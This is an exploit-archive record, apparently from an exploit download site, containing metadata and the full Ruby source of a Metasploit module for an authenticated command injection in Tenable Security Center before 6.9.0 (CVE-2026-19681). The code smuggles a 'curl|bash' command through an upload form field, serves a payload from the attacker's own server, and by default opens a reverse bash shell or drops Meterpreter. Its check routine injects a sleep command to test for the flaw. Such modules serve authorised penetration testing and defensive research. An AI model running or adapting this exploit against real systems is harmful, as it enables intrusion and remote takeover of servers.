{"exploit":{"id":"MSF-linux--http--tenable_sc_auditfile_cmdinject_cve_2026_19681","name":"Tenable Security Center SCAP Audit File Command Injection","description":"Tenable Security Center prior to 6.9.0 allows an authenticated user to achieve command execution as the web service account (tns) via the SCAP audit file upload flow. Filesystem::saveTmp() builds staged upload filenames from the raw client-supplied `context` form parameter (tempnam prefix), which is not charset-validated. Referencing that staged file in a POST /rest/auditFile (type=scapLinux, version=1.2) request reaches AuditFileLib::addSCAPTailoringFile(), where the zip repack command interpolates the derived path unescaped: exec(\"{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc\"); basename() strips '/' but not shell metacharacters, so a context like `p;CMD;` executes CMD through /bin/sh. Constraints (measured on 6.7.2): the staged-name prefix survives only ~50 characters of context and may not contain '/' (saveTmp() applies basename()). This module therefore serves the payload over HTTP and injects only `curl${IFS}<srvhost>:<srvport>|bash` (a bare host:port GETs / and bash reads the served script from stdin). The served script itself has no such limits, which the Linux Dropper target exploits with a fetch payload (cmd/linux/http/...) that downloads and execs a full native payload (e.g. x64 meterpreter) from the payload adapter's own listener on FETCH_SRVPORT. Tested against SecurityCenter 6.7.2-14 on RHEL9.","cves":["CVE-2026-19681"],"author":"h00die","published":"2026-08-13","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681.rb","path":"modules/exploits/linux/http/tenable_sc_auditfile_cmdinject_cve_2026_19681.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"tenable_sc_auditfile_cmdinject_cve_2026_19681.rb","vulnerabilities":[{"id":"CVE-2026-19681","state":"PUBLISHED","title":"Command Injection","titleSource":"CVE Program","description":"An authenticated command injection vulnerability exists in Security Center related to file upload processing. An attacker could exploit this issue by uploading a specially crafted file, potentially resulting in arbitrary command execution on the underlying operating system.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-19681","cvss":{"version":"4.0","baseScore":9.4,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"tenable","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-19681"},"updatedAt":"2026-08-15T03:55:58.735Z","retrievedAt":"2026-11-25T16:13:47.223Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--tenable_sc_auditfile_cmdinject_cve_2026_19681.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--tenable_sc_auditfile_cmdinject_cve_2026_19681","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--tenable_sc_auditfile_cmdinject_cve_2026_19681/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--tenable_sc_auditfile_cmdinject_cve_2026_19681/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit\n  Rank = ExcellentRanking\n\n  prepend Msf::Exploit::Remote::AutoCheck\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::Remote::HttpServer\n\n  def tailoring_xml\n    collection = Rex::Text.rand_text_alphanumeric(8)\n    benchmark = Rex::Text.rand_text_alphanumeric(8)\n    profile = Rex::Text.rand_text_alphanumeric(8)\n    <<~XML\n      <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n      <ds:data-stream-collection xmlns:ds=\"http://scap.nist.gov/schema/scap/source/1.2\"\n                                 xmlns:xccdf=\"http://checklists.nist.gov/xccdf/1.2\"\n                                 id=\"#{collection}\">\n        <xccdf:Benchmark id=\"xccdf_#{benchmark}\" version=\"1.0\">\n          <xccdf:status>draft</xccdf:status>\n          <xccdf:title>#{benchmark}</xccdf:title>\n          <xccdf:Profile id=\"xccdf_#{profile}\" extends=\"xccdf_#{benchmark}\">\n            <xccdf:title>#{profile}</xccdf:title>\n          </xccdf:Profile>\n        </xccdf:Benchmark>\n      </ds:data-stream-collection>\n    XML\n  end\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Tenable Security Center SCAP Audit File Command Injection',\n        'Description' => %q{\n          Tenable Security Center prior to 6.9.0 allows an authenticated user to\n          achieve command execution as the web service account (tns) via the SCAP\n          audit file upload flow.\n\n          Filesystem::saveTmp() builds staged upload filenames from the raw\n          client-supplied `context` form parameter (tempnam prefix), which is not\n          charset-validated. Referencing that staged file in a\n          POST /rest/auditFile (type=scapLinux, version=1.2) request reaches\n          AuditFileLib::addSCAPTailoringFile(), where the zip repack command\n          interpolates the derived path unescaped:\n\n          exec(\"{$CommandZIP} -9Tj $tmpZipFile $newTailoringFilenameEsc\");\n\n          basename() strips '/' but not shell metacharacters, so a context like\n          `p;CMD;` executes CMD through /bin/sh.\n\n          Constraints (measured on 6.7.2): the staged-name prefix survives only\n          ~50 characters of context and may not contain '/' (saveTmp() applies\n          basename()). This module therefore serves the payload over HTTP and\n          injects only `curl${IFS}<srvhost>:<srvport>|bash` (a bare host:port\n          GETs / and bash reads the served script from stdin). The served script\n          itself has no such limits, which the Linux Dropper target exploits\n          with a fetch payload (cmd/linux/http/...) that downloads and execs a\n          full native payload (e.g. x64 meterpreter) from the payload adapter's\n          own listener on FETCH_SRVPORT.\n\n          Tested against SecurityCenter 6.7.2-14 on RHEL9.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['h00die'],\n        'References' => [\n          ['CVE', '2026-19681'],\n          ['URL', 'https://www.tenable.com/security/tns-2026-22']\n        ],\n        'DisclosureDate' => '2026-08-13',\n        'Platform' => ['unix'],\n        'Arch' => ARCH_CMD,\n        'Targets' => [\n          # msf defaults to php payload, but SC bundles its own php and its not in the path so\n          # we want to avoid that since it'll fail\n          ['Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }], # rubocop:disable Lint/ModuleDefaultPayload\n          # the fetch payload adapts ARCH_CMD to a native stage via AdaptedArch;\n          # x86/aarch64/multi variants of cmd/linux/http/... work here too\n          [\n            'Linux Dropper', {\n              'Platform' => 'linux',\n              'Arch' => ARCH_CMD,\n              'DefaultOptions' => {\n                # pinned: a native stage must come through a fetch payload to fit\n                # the length/charset-limited curl|bash injection\n                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'SSL' => true,\n          'RPORT' => 443,\n          'PrependFork' => true,\n          'WfsDelay' => 10,\n          # fetch-payload staging (module-level so they apply even when the\n          # payload is selected by hand rather than via the Dropper target):\n          # the web process cwd isn't writable by tns, so stage from /tmp, and\n          # keep the fetch listener off this module's SRVPORT script server\n          'FETCH_WRITABLE_DIR' => '/tmp',\n          'FETCH_SRVPORT' => 8081\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n        }\n      )\n    )\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path', '/']),\n      OptString.new('USERNAME', [true, 'Username to authenticate with', '']),\n      OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])\n    ])\n  end\n\n  def login\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'rest', 'token'),\n      'ctype' => 'application/json',\n      'data' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_json\n    )\n    fail_with(Failure::Unreachable, 'No response to login') unless res\n    json = res.get_json_document\n    fail_with(Failure::NoAccess, \"Login failed: #{json['error_msg']}\") if json['error_code'] != 0\n\n    token = json['response']\n    token = token['token'] if token.is_a?(Hash)\n    fail_with(Failure::NoAccess, \"No token in login response: #{json}\") if token.blank?\n\n    # the TNS_SESSIONID cookie locates the session; the X-SecurityCenter token is\n    # only accepted alongside it (HttpClient keeps no cookie jar of its own).\n    # SC rotates the session id on login (two Set-Cookie headers) — keep only the\n    # final value; get_cookies also leaks Set-Cookie attributes (SameSite etc.)\n    session = res.get_cookies.scan(/TNS_SESSIONID=([a-f0-9]+)/i).flatten.last\n    fail_with(Failure::NoAccess, 'No TNS_SESSIONID cookie in login response') unless session\n    @cookies = \"TNS_SESSIONID=#{session}\"\n    token.to_s\n  end\n\n  def upload(context, data, fname)\n    form = Rex::MIME::Message.new\n    form.add_part(data, 'application/octet-stream', nil, \"form-data; name=\\\"Filedata\\\"; filename=\\\"#{fname}\\\"\")\n    form.add_part(context, nil, nil, 'form-data; name=\"context\"')\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'rest', 'file', 'upload'),\n      'ctype' => \"multipart/form-data; boundary=#{form.bound}\",\n      'data' => form.to_s,\n      'headers' => { 'X-SecurityCenter' => @token, 'Cookie' => @cookies }\n    )\n    fail_with(Failure::Unreachable, 'No response to upload') unless res\n    json = res.get_json_document\n    fail_with(Failure::UnexpectedReply, \"Upload failed: #{json['error_msg']}\") if json['error_code'] != 0\n\n    json['response']['filename']\n  end\n\n  def audit_file(staged_zip, staged_tail)\n    body = {\n      'name' => Rex::Text.rand_text_alphanumeric(8),\n      'type' => 'scapLinux',            # AuditFileLib validSCAPTypes\n      'version' => '1.2',               # tailoring branch requires 1.2\n      'benchmarkName' => Rex::Text.rand_text_alphanumeric(8),\n      'dataStreamName' => Rex::Text.rand_text_alphanumeric(8),\n      'profileName' => '',\n      'filename' => staged_zip,\n      'originalFilename' => \"#{Rex::Text.rand_text_alphanumeric(8)}.zip\",\n      'tailoringFilename' => staged_tail,\n      'tailoringOriginalFilename' => \"#{Rex::Text.rand_text_alphanumeric(8)}-tailoring.xml\",\n      'auditFileTemplate' => { 'id' => -1 },\n      'description' => Rex::Text.rand_text_alphanumeric(8)\n    }\n    t0 = Time.now\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'rest', 'auditFile'),\n      'ctype' => 'application/json',\n      'data' => body.to_json,\n      'headers' => { 'X-SecurityCenter' => @token, 'Cookie' => @cookies }\n    )\n    [res, Time.now - t0]\n  end\n\n  def fire(context)\n    # staged uploads: blank-context zip (content never inspected) + real tailoring\n    # XML (the tailoringFile context parses it and requires >= 1 Profile)\n    staged_zip = upload(context, Rex::Text.rand_text_alphanumeric(64), \"#{Rex::Text.rand_text_alphanumeric(8)}.zip\")\n    staged_tail = upload('tailoringFile', tailoring_xml, \"#{Rex::Text.rand_text_alphanumeric(8)}-tailoring.xml\")\n    vprint_status(\"Staged Files Names: zip='#{staged_zip}' tailoring='#{staged_tail}'\")\n    audit_file(staged_zip, staged_tail)\n  end\n\n  def check\n    @token = login\n    # state-light differential: sleep canary in the context prefix. On vulnerable\n    # builds the zip command stalls; on 6.9.0 (escapeshellarg'd) it returns fast\n    # with the post-exec error 106 bounce.\n    vprint_status(\"Attempting to send injected sleep to #{rhost}:#{rport}...\")\n    res, elapsed = fire(\"#{Rex::Text.rand_text_alphanumeric(1)};sleep${IFS}7;\")\n    return CheckCode::Unknown('No response to auditFile') unless res\n\n    json = res.get_json_document\n    if elapsed > 5\n      CheckCode::Vulnerable(\"Injected sleep executed (request stalled #{elapsed.round(1)}s)\")\n    elsif json['error_msg'].to_s.include?('Invalid tailoring filename')\n      CheckCode::Safe('Filename validation present (patched, 6.9.0+)')\n    else\n      CheckCode::Safe(\"No stall (#{elapsed.round(1)}s); reply: #{json['error_msg']}\")\n    end\n  end\n\n  def on_request_uri(cli, _req)\n    # sc brings its own php, so use that location\n    if @payload_cmd.end_with?('exec php')\n      @payload_cmd = @payload_cmd.gsub(/exec php$/, 'exec /opt/sc/support/bin/php') # normalize line endings\n    end\n    send_response(cli, @payload_cmd, 'Content-Type' => 'text/plain')\n  end\n\n  # HttpServer's start_service does `opts['ssl'] ||= http_server_ssl`, so an\n  # explicit 'ssl' => false gets clobbered (false is falsey) and the server\n  # inherits the datastore SSL meant for the 443 client side. The injected\n  # `curl host:port|bash` speaks plaintext HTTP — force the reader (aliased to\n  # the datastore ssl) to false so this script server stays http. The Dropper\n  # target's cmd/linux/http fetch payload serves its ELF over plaintext HTTP\n  # too (cmd/linux/https/... exists if that ever needs encrypting).\n  def http_server_ssl\n    false\n  end\n\n  def exploit\n    @token = login\n    # for the Dropper target payload.encoded is the fetch payload's\n    # download-and-exec command (curl ELF from FETCH_SRVHOST:FETCH_SRVPORT,\n    # chmod +x, exec); the payload adapter runs that listener itself, so this\n    # module only serves the command text at / below\n    @payload_cmd = payload.encoded\n\n    srv_ip = srvhost == '0.0.0.0' ? Rex::Socket.source_address(rhost) : srvhost\n\n    # plaintext payload server (see http_server_ssl override): datastore SSL\n    # stays true for the client side against 443. Path MUST be root — the\n    # injected curl|bash fetch carries no path component, and leaving 'Path'\n    # unset mounts the default Proc on a random URI instead.\n    start_service('Path' => '/')\n\n    inject = \"curl${IFS}#{srv_ip}:#{datastore['SRVPORT']}|bash\"\n    fail_with(Failure::BadConfig, \"Injection prefix too long for the tempnam budget: #{inject}\") if inject.length > 50\n\n    print_status(\"Injecting '#{inject}' (payload served at http://#{srv_ip}:#{datastore['SRVPORT']}/)\")\n    # baseline BEFORE firing: the dropper can connect back fast enough that the\n    # session exists by the time we reach the wait loop\n    initial = framework.sessions.count\n    res, elapsed = fire(\"p;#{inject};\")\n\n    # no response here is expected and GOOD: a payload like a reverse shell can\n    # hold the injected request open (or consume it outright), so the auditFile\n    # POST never completes — the session is the real signal, not this reply\n    if res\n      json = res.get_json_document\n      vprint_status(\"auditFile reply in #{elapsed.round(1)}s: #{json['error_msg']}\")\n      # error 106 (\"Error adding Tailoring file\") is the normal post-exec bounce;\n      # it also means no AuditFile record was persisted (the GUI stays clean)\n    else\n      vprint_status('No auditFile reply — the payload likely held the request open')\n    end\n\n    # keep the payload server alive while the target's curl|bash runs; module\n    # cleanup would otherwise tear it down before the fetch lands\n    print_status('Waiting for the payload fetch and session...')\n    waited = 0\n    while waited < 20 && framework.sessions.count == initial\n      Rex.sleep(1)\n      waited += 1\n    end\n    if framework.sessions.count > initial\n      print_good('Session opened')\n    else\n      print_warning(\"No session after #{waited}s — verify #{srv_ip}:#{datastore['SRVPORT']} is reachable from the target\")\n    end\n  end\nend\n","sha256":"759d6acd1299c294fd1fc4c367a27e6dec91eb0931f33b72b05172fbe19b5eb4","bytes":12994,"fetchedAt":"2026-11-25T16:31:00.564Z","encoding":"utf-8 (display only; download retains original bytes)"}